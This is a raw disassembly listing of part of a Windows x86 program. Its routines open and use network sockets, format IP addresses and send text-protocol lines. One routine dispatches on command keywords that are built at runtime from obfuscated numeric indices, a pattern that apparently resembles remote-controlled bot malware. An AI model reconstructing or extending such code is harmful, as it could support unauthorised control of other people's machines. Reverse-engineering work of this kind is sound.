		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+7Eh]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411A50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411B10	proc near		; CODE XREF: sub_4019D3j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40196A
		test	[esp+4+arg_0], 1
		jz	short loc_411B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_411B28:				; CODE XREF: sub_411B10+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_411B10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_411B40	proc near		; CODE XREF: sub_401A0Aj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411B40
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_411B66
		lea	edi, [esi+11h]
		jmp	short loc_411B68
; ---------------------------------------------------------------------------


loc_411B66:				; CODE XREF: sub_411B40+1Fj
		xor	edi, edi


loc_411B68:				; CODE XREF: sub_411B40+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_411B40	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411BBC
		lea	ebx, [esi+11h]
		jmp	short loc_411BBE
; ---------------------------------------------------------------------------


loc_411BBC:				; CODE XREF: ___:00411BB5j
		xor	ebx, ebx


loc_411BBE:				; CODE XREF: ___:00411BBAj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+38h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C1B
		lea	ebx, [esi+11h]
		jmp	short loc_411C1D
; ---------------------------------------------------------------------------


loc_411C1B:				; CODE XREF: ___:00411C14j
		xor	ebx, ebx


loc_411C1D:				; CODE XREF: ___:00411C19j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+24h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 2
		call	sub_4017E4
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411C70
		lea	ebx, [esi+11h]
		jmp	short loc_411C72
; ---------------------------------------------------------------------------


loc_411C70:				; CODE XREF: ___:00411C69j
		xor	ebx, ebx


loc_411C72:				; CODE XREF: ___:00411C6Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+24h]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 3
		call	sub_4017E4
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411CC5
		lea	ebx, [esi+11h]
		jmp	short loc_411CC7
; ---------------------------------------------------------------------------


loc_411CC5:				; CODE XREF: ___:00411CBEj
		xor	ebx, ebx


loc_411CC7:				; CODE XREF: ___:00411CC3j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+20h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D18
		lea	ebx, [esi+11h]
		jmp	short loc_411D1A
; ---------------------------------------------------------------------------


loc_411D18:				; CODE XREF: ___:00411D11j
		xor	ebx, ebx


loc_411D1A:				; CODE XREF: ___:00411D16j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+2Ch]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 5
		call	sub_4017E4
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411D71
		lea	ebx, [esi+11h]
		jmp	short loc_411D73
; ---------------------------------------------------------------------------


loc_411D71:				; CODE XREF: ___:00411D6Aj
		xor	ebx, ebx


loc_411D73:				; CODE XREF: ___:00411D6Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 6
		call	sub_4017E4
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411DCF
		lea	ebx, [esi+11h]
		jmp	short loc_411DD1
; ---------------------------------------------------------------------------


loc_411DCF:				; CODE XREF: ___:00411DC8j
		xor	ebx, ebx


loc_411DD1:				; CODE XREF: ___:00411DCDj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+30h]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E2A
		lea	ebx, [esi+11h]
		jmp	short loc_411E2C
; ---------------------------------------------------------------------------


loc_411E2A:				; CODE XREF: ___:00411E23j
		xor	ebx, ebx


loc_411E2C:				; CODE XREF: ___:00411E28j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+30h]
		push	9
		push	ecx
		call	sub_4019B5
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 8
		call	sub_4017E4
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	[esp+44h], edi
		call	sub_401226
		test	esi, esi
		jz	short loc_411E85
		lea	ebx, [esi+11h]
		jmp	short loc_411E87
; ---------------------------------------------------------------------------


loc_411E85:				; CODE XREF: ___:00411E7Ej
		xor	ebx, ebx


loc_411E87:				; CODE XREF: ___:00411E83j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+3Ch]
		push	9
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	dword ptr [esp+48h], 9
		call	sub_4017E4
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+44h], edi
		call	sub_401226
		mov	ecx, [esp+3Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411FE0	proc near		; CODE XREF: sub_401AB9j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_411FE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+26Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_412509
		lea	ecx, [edi+0A1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4120E2
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		mov	edx, dword_447100
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset dword_443CEC
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4120E2:				; CODE XREF: sub_411FE0+70j
		lea	ecx, [edi+187h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412159
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412159:				; CODE XREF: sub_411FE0+117j
		lea	ecx, [edi+0FDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412214
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4018A2
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jz	loc_412532
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401D39
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_412214:				; CODE XREF: sub_411FE0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4122BD
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_6C]
		mov	ebx, 5
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447104
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_4122BD:				; CODE XREF: sub_411FE0+249j
		lea	ecx, [edi+1B5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41232B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_4017E4
		mov	edx, dword_447130
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	offset aSS_0	; "%s %s\r\n"
		push	edi
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41232B:				; CODE XREF: sub_411FE0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41238D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401E2E
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_4017E4
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CE4
		push	edi
		call	sub_401E0B
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41238D:				; CODE XREF: sub_411FE0+360j
		lea	ecx, [edi+1E3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41242D
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_84]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_6C]
		push	2
		push	edx
		mov	ecx, esi
		mov	[esp+0A4h+var_4], 9
		call	sub_4011EA
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Ah
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_4014D3
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [edi-11h]
		call	sub_401118
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_412532
; ---------------------------------------------------------------------------


loc_41242D:				; CODE XREF: sub_411FE0+3C2j
		lea	ecx, [edi+159h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_412532
		push	offset asc_443600 ; " "
		lea	eax, [esp+98h+var_24]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ebp, eax
		push	offset asc_443600 ; " "
		lea	ecx, [esp+98h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], 0Bh
		call	sub_4016AE
		mov	ebx, eax
		push	offset asc_443600 ; " "
		lea	edx, [esp+98h+var_54]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0A0h+var_4], 0Ch
		call	sub_4016AE
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 0Dh
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		mov	eax, dword_447134
		push	eax
		add	edi, 0FFFFFFEFh
		push	offset dword_443CD4
		push	edi
		call	sub_401E0B
		add	esp, 18h
		lea	ecx, [esp+94h+var_54]
		mov	byte ptr [esp+94h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+94h+var_3C]
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401226
		lea	ecx, [esp+94h+var_24]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_412532
; ---------------------------------------------------------------------------


loc_412509:				; CODE XREF: sub_411FE0+3Aj
					; sub_411FE0+55j
		xor	ebx, ebx
		mov	[edi+0Fh], ebx
		mov	[edi+0Bh], ebx
		mov	[edi+5], bl
		mov	[edi+4], bl
		mov	ecx, [edi+7]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [edi+7], 0FFFFFFFFh
		call	sub_401537


loc_412532:				; CODE XREF: sub_411FE0+FDj
					; sub_411FE0+174j ...
		mov	ecx, [esp+94h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn	4
sub_411FE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4126B0	proc near		; CODE XREF: sub_401D39j

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4126B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 40h
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+50h+var_24]
		mov	[esp+50h+var_48], 0
		call	sub_401424
		xor	eax, eax
		lea	ecx, [esp+50h+var_4C]
		mov	[esp+50h+var_44], eax
		lea	edx, [esp+50h+var_44]
		mov	[esp+50h+var_40], eax
		push	ecx
		mov	[esp+54h+var_3C], eax
		push	edx
		mov	[esp+58h+var_38], eax
		mov	eax, [esi+18h]
		push	eax
		mov	[esp+5Ch+var_4], 1
		mov	[esp+5Ch+var_4C], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+50h+var_40+3]
		mov	edx, [esp+50h+var_40+2]
		mov	eax, [esp+50h+var_40+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+54h+var_40]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+60h+var_34]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 18h
		lea	ecx, [esp+50h+var_24]
		push	offset byte_446F70
		call	sub_4015D7
		push	offset dword_443D18
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	eax, [esp+50h+var_34]
		lea	ecx, [esp+50h+var_24]
		push	eax
		call	sub_401A9B
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		add	esi, 28h
		lea	ecx, [esp+50h+var_24]
		push	esi
		call	sub_4016BD
		push	offset dword_443D14
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		lea	ecx, [esp+50h+var_34]
		push	ecx
		call	sub_401479
		add	esp, 4
		test	al, al
		jz	short loc_4127BB
		push	offset dword_443D08
		jmp	short loc_4127C0
; ---------------------------------------------------------------------------


loc_4127BB:				; CODE XREF: sub_4126B0+102j
		push	offset dword_443CFC


loc_4127C0:				; CODE XREF: sub_4126B0+109j
		lea	ecx, [esp+54h+var_24]
		call	sub_401A9B
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_24]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_48], 1
		lea	ecx, [esp+50h+var_24]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+50h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 4Ch
		retn	4
sub_4126B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412870	proc near		; CODE XREF: sub_401582j

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+18h]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	ebp
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	edx, eax
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jnb	short loc_4128CE
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4128CE:				; CODE XREF: sub_412870+33j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		retn	4
sub_412870	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412900	proc near		; CODE XREF: sub_401E0Bj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2004]
		lea	eax, [esp+arg_2008]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_401582
		add	esp, 2000h
		retn
sub_412900	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412970	proc near		; CODE XREF: sub_401118j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_412970
		push	eax
		mov	al, [esp+0Ch+arg_0]
		mov	large fs:0, esp
		sub	esp, 30h
		test	al, al
		push	esi
		mov	esi, ecx
		jz	short loc_4129A7
		xor	al, al
		pop	esi
		mov	ecx, [esp+3Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_4129A7:				; CODE XREF: sub_412970+21j
		lea	ecx, [esp+40h+var_3C]
		call	sub_401424
		mov	al, [esp+40h+arg_4]
		mov	[esp+40h+var_4], 0
		test	al, al
		jz	short loc_4129C8
		mov	eax, dword_447100
		push	eax
		jmp	short loc_4129CF
; ---------------------------------------------------------------------------


loc_4129C8:				; CODE XREF: sub_412970+4Ej
		mov	ecx, dword_447108
		push	ecx


loc_4129CF:				; CODE XREF: sub_412970+56j
		lea	ecx, [esp+44h+var_3C]
		call	sub_4015D7
		push	ebx
		lea	ecx, [esp+44h+var_24]
		call	sub_401424
		mov	edx, [esp+44h+arg_8]
		mov	eax, [esp+44h+arg_C]
		push	edx
		push	eax
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+50h+var_24]
		push	offset dword_443CEC
		push	ecx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+44h+var_24]
		call	sub_4014D3
		push	eax
		mov	ecx, esi
		call	sub_401582
		lea	ecx, [esp+44h+var_24]
		mov	bl, al
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+44h+var_3C]
		mov	[esp+44h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+44h+var_C]
		mov	al, bl
		pop	ebx
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_412970	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412AA0	proc near		; CODE XREF: sub_401848j

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= dword	ptr  200Ch
arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_436840
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412AA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B20	proc near		; CODE XREF: sub_401D0Cj
		push	esi
		mov	esi, ecx
		call	sub_401FB9
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B50	proc near		; CODE XREF: sub_401FB9j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_448C9E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401537
		pop	esi
		retn
sub_412B50	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412B90	proc near		; CODE XREF: sub_401721j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412B90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

